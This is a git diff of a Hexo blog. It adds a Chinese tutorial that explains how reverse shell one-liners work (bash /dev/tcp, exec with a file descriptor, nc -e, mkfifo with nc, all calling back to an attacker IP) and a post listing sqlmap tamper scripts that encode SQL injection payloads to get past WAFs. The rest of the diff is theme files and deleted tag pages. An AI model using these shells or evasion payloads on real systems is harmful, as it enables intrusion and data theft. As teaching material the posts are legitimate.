[![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173608-cf500092-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173608-cf500092-9c80-1.png) + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173608-cf5c2610-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173608-cf5c2610-9c80-1.png) + + 但是这里有一个问题,攻击者没有能够实现对受害者的控制,攻击者执行的命令没法在受害者电脑上执行。 + + 于是我们似乎还需要一条这样的指令 + + ``` + bash -i < /dev/tcp/192.168.146.129/2333 + ``` + + 示意图: + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173608-cf6dc0aa-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173608-cf6dc0aa-9c80-1.png) + + 这条指令的意思是将攻击者输入的命令输入给受害者的bash,自然就能执行了 + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173608-cf7850f6-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173608-cf7850f6-9c80-1.png) + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173608-cf863ae0-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173608-cf863ae0-9c80-1.png) + + 现在我们需要将两条指令结合起来(如果这条指令看不懂可以去看一下我上面提供的文章的链接再回来看这条指令): + + ``` + bash -i > /dev/tcp/192.168.146.129/2333 0>&1 + ``` + + 示意图: + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173608-cf98d0ec-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173608-cf98d0ec-9c80-1.png) + + **由这张示意图可以很清楚地看到,输入0是由/dev/tcp/192.168.146.129/2333 输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.156.129/2333上,这就形成了一个回路,实现了我们远程交互式shell 的功能** + + 如下图所示,我在攻击机上输入 ifconfig,查看到的是受害者的ip ,也就是说我们目前已经基本完成了一个反弹shell 的功能。 + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173608-cfb2189a-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173608-cfb2189a-9c80-1.png) + + **注意:** + 但是这里有一个问题,就是我们在受害者机器上依然能看到我们在攻击者机器中执行的指令 ,如下图所示,我们马上解决 + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173608-cfbf9362-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173608-cfbf9362-9c80-1.png) + + **4. >&、&>** + + 这个符号在我附上链接的那篇文章中也提到了,作用就是混合输出(错误、正确输出都输出到一个地方) + + 现在我们解决一下前面的问题: + + ``` + bash -i > /dev/tcp/192.168.146.129/2333 0>&1 2>&1 + ``` + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173609-cfe54a1c-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173609-cfe54a1c-9c80-1.png) + + 可以看到命令并没有回显在受害者机器上,我们的目的达成了 + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173609-cff2d39e-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173609-cff2d39e-9c80-1.png) + + 当然我们也可以执行与之完全等价的指令 + + ``` + bash -i >& /dev/tcp/192.168.146.129/2333 0>&1 + ``` + + **至此,我们的反弹shell的经典语句就分析完了,通过这条语句的分析我们能大致的了解反弹shell的本质,以后碰到其他的反弹shell 的语句也能用类似的分析方法区分析,甚至我们也可以自己举一反三创造更加绝妙的反弹shell 的语句** + + ## **0X04 常见的反弹shell 的语句怎么理解** + + ### **1.方法一** + + ``` + bash -i>& /dev/tcp/192.168.146.129/2333 0>&1 + ``` + + 和 + + ``` + bash -i>& /dev/tcp/192.168.146.129/2333 0<&1 + ``` + + 这里的唯一区别就是 0>&1 和 0<&1 ,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别(我在上面给出链接的文章中也特地用加粗的形式解释了) + + ### **2.方法二** + + ``` + bash -i >& /dev/tcp/192.168.146.129/2333 <&2 + ``` + + 等价于 + + ``` + bash -i >& /dev/tcp/192.168.146.129/2333 0<&2 + ``` + + 示意图: + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173609-d004effc-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173609-d004effc-9c80-1.png) + + ### **3.方法三** + + ``` + exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done + ``` + + **简单的解释一下:** + + ``` + exec 5<>/dev/tcp/192.168.146.129/2333 + ``` + + 这一句将文件描述符5重定向到了 /dev/tcp/192.168.146.129/2333 并且方式是**读写方式**(这种方法在我的前面的文章中也讲到过),于是我们就能通过文件描述符对这个socket连接进行操作了 + + ``` + command|while read line do .....done + ``` + + 这个是一个非常经典的句子,它的原句是这样的 + + ``` + while read line + do + … + done < file + ``` + + 从文件中依次读取每一行,将其赋值给 line 变量(当然这里变量可以很多,以空格分隔,这里我就举一个变量的例子,如果是一个变量的话,那么一整行都是它的了),之后再在循环中对line进行操作。 + + 而现在我们不是从file 文件中输入了,我们使用管道符对攻击者机器上输入的命令依次执行,并将标准输出和标准错误输出都重定向到了文件描述符5,也就是攻击机上,实现交互式shell的功能。 + + 与之完全类似的还有下面这条指令,读者有兴趣可以自己分析一下: + + ``` + 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196 + ``` + + ### **4.方法四** + + nc 如果安装了正确的版本(存在-e 选项就能直接反弹shell) + + ``` + nc -e /bin/sh 192.168.146.129 2333 + ``` + + 但是如果是没有-e 选项是不是就不能实现了呢?当然不是,我们可以向下面这样 + + ``` + rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f + ``` + + **简单的解释:** + + mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路 + + 类似的命令: + + ``` + mknod backpipe p; nc 192.168.146.129 2333 0backpipe 2>backpipe + ``` + + ## **0X05 总结** + + 反弹shell方法虽然常见,方法网上一搜就是一大把的代码,但是很少有人会去仔细斟酌反弹shell的原理,我也看到有类似的文章,但是可能是由于篇幅原因并没有对文件描述符和重定向的部分做深入的讨论,导致解释语句的时候依然让人不好理解,于是这次我分成了两篇有所关联的文章彻底的剖析了一下,个人认为这个原理是非常值得大家思考的,也很有趣,如果我的文章有什么地方有问题,希望大家及时联系我。 + + 个人博客: + + ## **0X06 参考链接** + + + + + + \ No newline at end of file diff --git a/source/_posts/sqlmap-tamper.md b/source/_posts/sqlmap-tamper.md new file mode 100644 index 0000000..86004db --- /dev/null +++ b/source/_posts/sqlmap-tamper.md @@ -0,0 +1,280 @@ +--- +title: sqlmap使用记录--tamper +date: 2019-04-01 09:25:00 +author: Demo +img: /source/images/xxx.jpg +top: true +cover: true +coverImg: /images/1.jpg +toc: false +mathjax: false +summary: +categories: sqlmap +tags: + - sqlmap + +--- + +sqlmap在默认的的情况下除了使用char()函数防止出现单引号,没有对注入的数据进行修改,还可以使用–tamper参数对数据做修改来绕过waf等设备。 + +#### 0x01 命令如下 + +```python +1 sqlmap -u [url] --tamper [模块名] +``` + +sqlmap的绕过脚本在目录usr/share/golismero/tools/sqlmap/tamper下 +目前sqlmap 1.2.9版本共有37个 + +可以使用--identify-waf对一些网站是否有安全防护进行试探 + +#### 0x02 常用tamper脚本 + +apostrophemask.py + +适用数据库:ALL +作用:将引号替换为utf-8,用于过滤单引号 +使用脚本前:tamper("1 AND '1'='1") +使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871 + +base64encode.py + +适用数据库:ALL +作用:替换为base64编码 +使用脚本前:tamper("1' AND SLEEP(5)#") +使用脚本后:MScgQU5EIFNMRUVQKDUpIw== + + +multiplespaces.py + +适用数据库:ALL +作用:围绕sql关键字添加多个空格 +使用脚本前:tamper('1 UNION SELECT foobar') +使用脚本后:1 UNION SELECT foobar + +space2plus.py + +适用数据库:ALL +作用:用加号替换空格 +使用脚本前:tamper('SELECT id FROM users') +使用脚本后:SELECT+id+FROM+users + +nonrecursivereplacement.py + +适用数据库:ALL +作用:作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空) +使用脚本前:tamper('1 UNION SELECT 2--') +使用脚本后:1 UNIOUNIONN SELESELECTCT 2-- + +space2randomblank.py + +适用数据库:ALL +作用:将空格替换为其他有效字符 +使用脚本前:tamper('SELECT id FROM users') +使用脚本后:SELECT%0Did%0DFROM%0Ausers + +unionalltounion.py + +适用数据库:ALL +作用:将union allselect 替换为unionselect +使用脚本前:tamper('-1 UNION ALL SELECT') +使用脚本后:-1 UNION SELECT + +securesphere.py + +适用数据库:ALL +作用:追加特定的字符串 +使用脚本前:tamper('1 AND 1=1') +使用脚本后:1 AND 1=1 and '0having'='0having' + +space2dash.py + +适用数据库:ALL +作用:将空格替换为--,并添加一个随机字符串和换行符 +使用脚本前:tamper('1 AND 9227=9227') +使用脚本后:1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227 + +space2mssqlblank.py + +适用数据库:Microsoft SQL Server +测试通过数据库:Microsoft SQL Server 2000、Microsoft SQL Server 2005 +作用:将空格随机替换为其他空格符号('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A') +使用脚本前:tamper('SELECT id FROM users') +使用脚本后:SELECT%0Eid%0DFROM%07users + +between.py + +测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0 +作用:用NOT BETWEEN 0 AND #替换> +使用脚本前:tamper('1 AND A > B--') +使用脚本后:1 AND A NOT BETWEEN 0 AND B-- + +percentage.py + +适用数据库:ASP +测试通过数据库:Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0 +作用:在每个字符前添加一个% +使用脚本前:tamper('SELECT FIELD FROM TABLE') +使用脚本后:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E + +sp_password.py + +适用数据库:MSSQL +作用:从T-SQL日志的自动迷糊处理的有效载荷中追加sp_password +使用脚本前:tamper('1 AND 9227=9227-- ') +使用脚本后:1 AND 9227=9227-- sp_password + +charencode.py + +测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0 +作用:对给定的payload全部字符使用url编码(不处理已经编码的字符) +使用脚本前:tamper('SELECT FIELD FROM%20TABLE') +使用脚本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45 + +randomcase.py + +测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0 +作用:随机大小写 +使用脚本前:tamper('INSERT') +使用脚本后:INseRt + +charunicodeencode.py + +适用数据库:ASP、ASP.NET +测试通过数据库:Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3 +作用:适用字符串的unicode编码 +使用脚本前:tamper('SELECT FIELD%20FROM TABLE') +使用脚本后:%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045 + +space2comment.py + +测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0 +作用:将空格替换为/**/ +使用脚本前:tamper('SELECT id FROM users') +使用脚本后:SELECT/**/id/**/FROM/**/users + +equaltolike.py + +测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5 +作用:将=替换为LIKE +使用脚本前:tamper('SELECT * FROM users WHERE id=1') +使用脚本后:SELECT * FROM users WHERE id LIKE 1 + +equaltolike.py + +测试通过数据库:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0 +作用:将>替换为GREATEST,绕过对>的过滤 +使用脚本前:tamper('1 AND A > B') +使用脚本后:1 AND GREATEST(A,B+1)=A + +ifnull2ifisnull.py + +适用数据库:MySQL、SQLite (possibly)、SAP MaxDB (possibly) +测试通过数据库:MySQL 5.0 and 5.5 +作用:将类似于IFNULL(A, B)替换为IF(ISNULL(A), B, A),绕过对IFNULL的过滤 +使用脚本前:tamper('IFNULL(1, 2)') +使用脚本后:IF(ISNULL(1),2,1) + +modsecurityversioned.py + +适用数据库:MySQL +测试通过数据库:MySQL 5.0 +作用:过滤空格,使用mysql内联注释的方式进行注入 +使用脚本前:tamper('1 AND 2>1--') +使用脚本后:1 /*!30874AND 2>1*/-- +space2mysqlblank.py + +适用数据库:MySQL +测试通过数据库:MySQL 5.1 +作用:将空格替换为其他空格符号('%09', '%0A', '%0C', '%0D', '%0B') +使用脚本前:tamper('SELECT id FROM users') +使用脚本后:SELECT%0Bid%0DFROM%0Cusers + +modsecurityzeroversioned.py + +适用数据库:MySQL +测试通过数据库:MySQL 5.0 +作用:使用内联注释方式(/*!00000*/)进行注入 +使用脚本前:tamper('1 AND 2>1--') +使用脚本后:1 /*!00000AND 2>1*/-- + +space2mysqldash.py + +适用数据库:MySQL、MSSQL +作用:将空格替换为 -- ,并追随一个换行符 +使用脚本前:tamper('1 AND 9227=9227') +使用脚本后:1--%0AAND--%0A9227=9227 + +bluecoat.py + +适用数据库:Blue Coat SGOS +测试通过数据库:MySQL 5.1,、SGOS +作用:在sql语句之后用有效的随机空白字符替换空格符,随后用LIKE替换= +使用脚本前:tamper('SELECT id FROM users where id = 1') +使用脚本后:SELECT%09id FROM users where id LIKE 1 + +versionedkeywords.py + +适用数据库:MySQL +测试通过数据库:MySQL 4.0.18, 5.1.56, 5.5.11 +作用:注释绕过 +使用脚本前:tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#') +使用脚本后:1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))# + +halfversionedmorekeywords.py + +适用数据库:MySQL < 5.1 +测试通过数据库:MySQL 4.0.18/5.0.22 +作用:在每个关键字前添加mysql版本注释 +使用脚本前:tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") +使用脚本后:value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa + +space2morehash.py + +适用数据库:MySQL >= 5.1.13 +测试通过数据库:MySQL 5.1.41 +作用:将空格替换为#,并添加一个随机字符串和换行符 +使用脚本前:tamper('1 AND 9227=9227') +使用脚本后:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227 + +apostrophenullencode.py + +适用数据库:ALL +作用:用非法双字节Unicode字符替换单引号 +使用脚本前:tamper("1 AND '1'='1") +使用脚本后:1 AND %00%271%00%27=%00%271 + +appendnullbyte.py + +适用数据库:ALL +作用:在有效载荷的结束位置加载null字节字符编码 +使用脚本前:tamper('1 AND 1=1') +使用脚本后:1 AND 1=1%00 + +chardoubleencode.py + +适用数据库:ALL +作用:对给定的payload全部字符使用双重url编码(不处理已经编码的字符) +使用脚本前:tamper('SELECT FIELD FROM%20TABLE') +使用脚本后:%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545 + +unmagicquotes.py + +适用数据库:ALL +作用:用一个多字节组合%bf%27和末尾通用注释一起替换空格 +使用脚本前:tamper("1' AND 1=1") +使用脚本后:1%bf%27 AND 1=1-- + +randomcomments.py + +适用数据库:ALL +作用:用注释符分割sql关键字 +使用脚本前:tamper('INSERT') +使用脚本后:I/**/N/**/SERT + +#### 0x03 附录: + +![img](https://img2018.cnblogs.com/blog/1358580/201906/1358580-20190605194338464-982309411.png) + +#### 0x04 在熟悉了tamper脚本之后,我们应该学习tamper绕过脚本的编写规则,来应对复杂的实际环境。 + diff --git a/source/about/index.md b/source/about/index.md new file mode 100644 index 0000000..5db0614 --- /dev/null +++ b/source/about/index.md @@ -0,0 +1,6 @@ +--- +title: about +date: 2018-09-30 17:25:30 +type: "about" +layout: "about" +--- diff --git a/source/categories/index.md b/source/categories/index.md new file mode 100644 index 0000000..584e49a --- /dev/null +++ b/source/categories/index.md @@ -0,0 +1,7 @@ +--- +title: categories +date: 2018-09-30 17:25:30 +type: "categories" +layout: "categories" +--- + diff --git a/source/friends/index.md b/source/friends/index.md new file mode 100644 index 0000000..ab1d0aa --- /dev/null +++ b/source/friends/index.md @@ -0,0 +1,6 @@ +--- +title: friends +date: 2018-12-12 21:25:30 +type: "friends" +layout: "friends" +--- diff --git a/img/1560175655800.png b/source/img/1560175655800.png similarity index 100% rename from img/1560175655800.png rename to source/img/1560175655800.png diff --git a/img/1560176480972.png b/source/img/1560176480972.png similarity index 100% rename from img/1560176480972.png rename to source/img/1560176480972.png diff --git a/img/1560176517479.png b/source/img/1560176517479.png similarity index 100% rename from img/1560176517479.png rename to source/img/1560176517479.png diff --git a/source/tags/index.md b/source/tags/index.md new file mode 100644 index 0000000..321b9a9 --- /dev/null +++ b/source/tags/index.md @@ -0,0 +1,6 @@ +--- +title: tags +date: 2018-09-30 18:23:38 +type: "tags" +layout: "tags" +--- diff --git a/tags/BeautifulSoup/index.html b/tags/BeautifulSoup/index.html deleted file mode 100644 index b7d4058..0000000 --- a/tags/BeautifulSoup/index.html +++ /dev/null @@ -1,537 +0,0 @@ - - - - - - - - - - - - - - - - 标签: BeautifulSoup | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - -
    -
    -
    -
    -
    -
    - - By A Cpu - -
    - -
    - - 花不解语还多事 石不能言最可人 - -
    -
    -
    -
    - -
    -
    - -
    - - - - - - - - -
    - - -
    -
    -
    - 本站由©Blinkfox基于 - Hexo 的 - hexo-theme-matery主题搭建. - - - - - -
    - - - - 本站总访问量 - - - - - - 次, 访客数 人. - - - -
    - -
    -
    - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/tags/Firefox/index.html b/tags/Firefox/index.html deleted file mode 100644 index 1c92693..0000000 --- a/tags/Firefox/index.html +++ /dev/null @@ -1,537 +0,0 @@ - - - - - - - - - - - - - - - - 标签: Firefox | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - -
    -
    -
    -
    -
    -
    - - By A Cpu - -
    - -
    - - 花不解语还多事 石不能言最可人 - -
    -
    -
    -
    - -
    -
    - -
    - - - - - - - - -
    - - -
    -
    -
    - 本站由©Blinkfox基于 - Hexo 的 - hexo-theme-matery主题搭建. - - - - - -
    - - - - 本站总访问量 - - - - - - 次, 访客数 人. - - - -
    - -
    -
    - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/tags/PhantomJS/index.html b/tags/PhantomJS/index.html deleted file mode 100644 index fdb898b..0000000 --- a/tags/PhantomJS/index.html +++ /dev/null @@ -1,537 +0,0 @@ - - - - - - - - - - - - - - - - 标签: PhantomJS | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - -
    -
    -
    -
    -
    -
    - - By A Cpu - -
    - -
    - - 花不解语还多事 石不能言最可人 - -
    -
    -
    -
    - -
    -
    - -
    - - - - - - - - -
    - - -
    -
    -
    - 本站由©Blinkfox基于 - Hexo 的 - hexo-theme-matery主题搭建. - - - - - -
    - - - - 本站总访问量 - - - - - - 次, 访客数 人. - - - -
    - -
    -
    - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/tags/Python/index.html b/tags/Python/index.html deleted file mode 100644 index eb121a3..0000000 --- a/tags/Python/index.html +++ /dev/null @@ -1,723 +0,0 @@ - - - - - - - - - - - - - - - - 标签: Python | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - -
    -
    -
    -
    -
    -
    - - By A Cpu - -
    - -
    - - 花不解语还多事 石不能言最可人 - -
    -
    -
    -
    - -
    -
    - -
    - - - - - - - -
    - -
    -
    - - -
    -
    -
    - 本站由©Blinkfox基于 - Hexo 的 - hexo-theme-matery主题搭建. - - - - - -
    - - - - 本站总访问量 - - - - - - 次, 访客数 人. - - - -
    - -
    -
    - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/tags/Selenium/index.html b/tags/Selenium/index.html deleted file mode 100644 index 5b412ea..0000000 --- a/tags/Selenium/index.html +++ /dev/null @@ -1,537 +0,0 @@ - - - - - - - - - - - - - - - - 标签: Selenium | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - -
    -
    -
    -
    -
    -
    - - By A Cpu - -
    - -
    - - 花不解语还多事 石不能言最可人 - -
    -
    -
    -
    - -
    -
    - -
    - - - - - - - - -
    - - -
    -
    -
    - 本站由©Blinkfox基于 - Hexo 的 - hexo-theme-matery主题搭建. - - - - - -
    - - - - 本站总访问量 - - - - - - 次, 访客数 人. - - - -
    - -
    -
    - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/tags/Shodan/index.html b/tags/Shodan/index.html deleted file mode 100644 index 56bdfdb..0000000 --- a/tags/Shodan/index.html +++ /dev/null @@ -1,537 +0,0 @@ - - - - - - - - - - - - - - - - 标签: Shodan | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - -
    -
    -
    -
    -
    -
    - - By A Cpu - -
    - -
    - - 花不解语还多事 石不能言最可人 - -
    -
    -
    -
    - -
    -
    - -
    - - - - - - - - -
    - - -
    -
    -
    - 本站由©Blinkfox基于 - Hexo 的 - hexo-theme-matery主题搭建. - - - - - -
    - - - - 本站总访问量 - - - - - - 次, 访客数 人. - - - -
    - -
    -
    - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/tags/Webdriver/index.html b/tags/Webdriver/index.html deleted file mode 100644 index e27673a..0000000 --- a/tags/Webdriver/index.html +++ /dev/null @@ -1,537 +0,0 @@ - - - - - - - - - - - - - - - - 标签: Webdriver | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - -
    -
    -
    -
    -
    -
    - - By A Cpu - -
    - -
    - - 花不解语还多事 石不能言最可人 - -
    -
    -
    -
    - -
    -
    - -
    - - - - - - - - -
    - - -
    -
    -
    - 本站由©Blinkfox基于 - Hexo 的 - hexo-theme-matery主题搭建. - - - - - -
    - - - - 本站总访问量 - - - - - - 次, 访客数 人. - - - -
    - -
    -
    - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/tags/fiddler/index.html b/tags/fiddler/index.html deleted file mode 100644 index 0215d89..0000000 --- a/tags/fiddler/index.html +++ /dev/null @@ -1,661 +0,0 @@ - - - - - - - - - - - - - - - - 标签: fiddler | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - -
    -
    -
    -
    -
    -
    - - By A Cpu - -
    - -
    - - 花不解语还多事 石不能言最可人 - -
    -
    -
    -
    - -
    -
    - -
    - - - - - - - -
    - -
    -
    - - -
    -
    -
    - 本站由©Blinkfox基于 - Hexo 的 - hexo-theme-matery主题搭建. - - - - - -
    - - - - 本站总访问量 - - - - - - 次, 访客数 人. - - - -
    - -
    -
    - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/tags/index.html b/tags/index.html deleted file mode 100644 index d84b778..0000000 --- a/tags/index.html +++ /dev/null @@ -1,523 +0,0 @@ - - - - - - - - - - - - - - - - 标签 | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - -
    -
    -
    -
    -
    -
    - - By A Cpu - -
    - -
    - - 花不解语还多事 石不能言最可人 - -
    -
    -
    -
    - -
    -
    - -
    - - - - - - - - - -
    -
    -
    -
    -
    - - - - - -
    - -
    -
    -
    - 本站由©Blinkfox基于 - Hexo 的 - hexo-theme-matery主题搭建. - - - - - -
    - - - - 本站总访问量 - - - - - - 次, 访客数 人. - - - -
    - -
    -
    - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/tags/regex/index.html b/tags/regex/index.html deleted file mode 100644 index a8112a9..0000000 --- a/tags/regex/index.html +++ /dev/null @@ -1,537 +0,0 @@ - - - - - - - - - - - - - - - - 标签: regex | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - -
    -
    -
    -
    -
    -
    - - By A Cpu - -
    - -
    - - 花不解语还多事 石不能言最可人 - -
    -
    -
    -
    - -
    -
    - -
    - - - - - - - - -
    - - -
    -
    -
    - 本站由©Blinkfox基于 - Hexo 的 - hexo-theme-matery主题搭建. - - - - - -
    - - - - 本站总访问量 - - - - - - 次, 访客数 人. - - - -
    - -
    -
    - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/tags/requests/index.html b/tags/requests/index.html deleted file mode 100644 index f11c533..0000000 --- a/tags/requests/index.html +++ /dev/null @@ -1,537 +0,0 @@ - - - - - - - - - - - - - - - - 标签: requests | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - -
    -
    -
    -
    -
    -
    - - By A Cpu - -
    - -
    - - 花不解语还多事 石不能言最可人 - -
    -
    -
    -
    - -
    -
    - -
    - - - - - - - - -
    - - -
    -
    -
    - 本站由©Blinkfox基于 - Hexo 的 - hexo-theme-matery主题搭建. - - - - - -
    - - - - 本站总访问量 - - - - - - 次, 访客数 人. - - - -
    - -
    -
    - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/tags/sqlmap/index.html b/tags/sqlmap/index.html deleted file mode 100644 index e2012e5..0000000 --- a/tags/sqlmap/index.html +++ /dev/null @@ -1,537 +0,0 @@ - - - - - - - - - - - - - - - - 标签: sqlmap | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - -
    -
    -
    -
    -
    -
    - - By A Cpu - -
    - -
    - - 花不解语还多事 石不能言最可人 - -
    -
    -
    -
    - -
    -
    - -
    - - - - - - - - -
    - - -
    -
    -
    - 本站由©Blinkfox基于 - Hexo 的 - hexo-theme-matery主题搭建. - - - - - -
    - - - - 本站总访问量 - - - - - - 次, 访客数 人. - - - -
    - -
    -
    - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/tags/urllib/index.html b/tags/urllib/index.html deleted file mode 100644 index e280291..0000000 --- a/tags/urllib/index.html +++ /dev/null @@ -1,537 +0,0 @@ - - - - - - - - - - - - - - - - 标签: urllib | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - -
    -
    -
    -
    -
    -
    - - By A Cpu - -
    - -
    - - 花不解语还多事 石不能言最可人 - -
    -
    -
    -
    - -
    -
    - -
    - - - - - - - - -
    - - -
    -
    -
    - 本站由©Blinkfox基于 - Hexo 的 - hexo-theme-matery主题搭建. - - - - - -
    - - - - 本站总访问量 - - - - - - 次, 访客数 人. - - - -
    - -
    -
    - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git "a/tags/\345\217\215\345\274\271shell/index.html" "b/tags/\345\217\215\345\274\271shell/index.html" deleted file mode 100644 index 34475ed..0000000 --- "a/tags/\345\217\215\345\274\271shell/index.html" +++ /dev/null @@ -1,568 +0,0 @@ - - - - - - - - - - - - - - - - 标签: 反弹shell | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - -
    -
    -
    -
    -
    -
    - - By A Cpu - -
    - -
    - - 花不解语还多事 石不能言最可人 - -
    -
    -
    -
    - -
    -
    - -
    - - - - - - - - -
    - - -
    -
    -
    - 本站由©Blinkfox基于 - Hexo 的 - hexo-theme-matery主题搭建. - - - - - -
    - - - - 本站总访问量 - - - - - - 次, 访客数 人. - - - -
    - -
    -
    - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/themes/hexo-theme-matery/.gitignore b/themes/hexo-theme-matery/.gitignore new file mode 100644 index 0000000..496ee2c --- /dev/null +++ b/themes/hexo-theme-matery/.gitignore @@ -0,0 +1 @@ +.DS_Store \ No newline at end of file diff --git a/themes/hexo-theme-matery/LICENSE b/themes/hexo-theme-matery/LICENSE new file mode 100644 index 0000000..261eeb9 --- /dev/null +++ b/themes/hexo-theme-matery/LICENSE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an 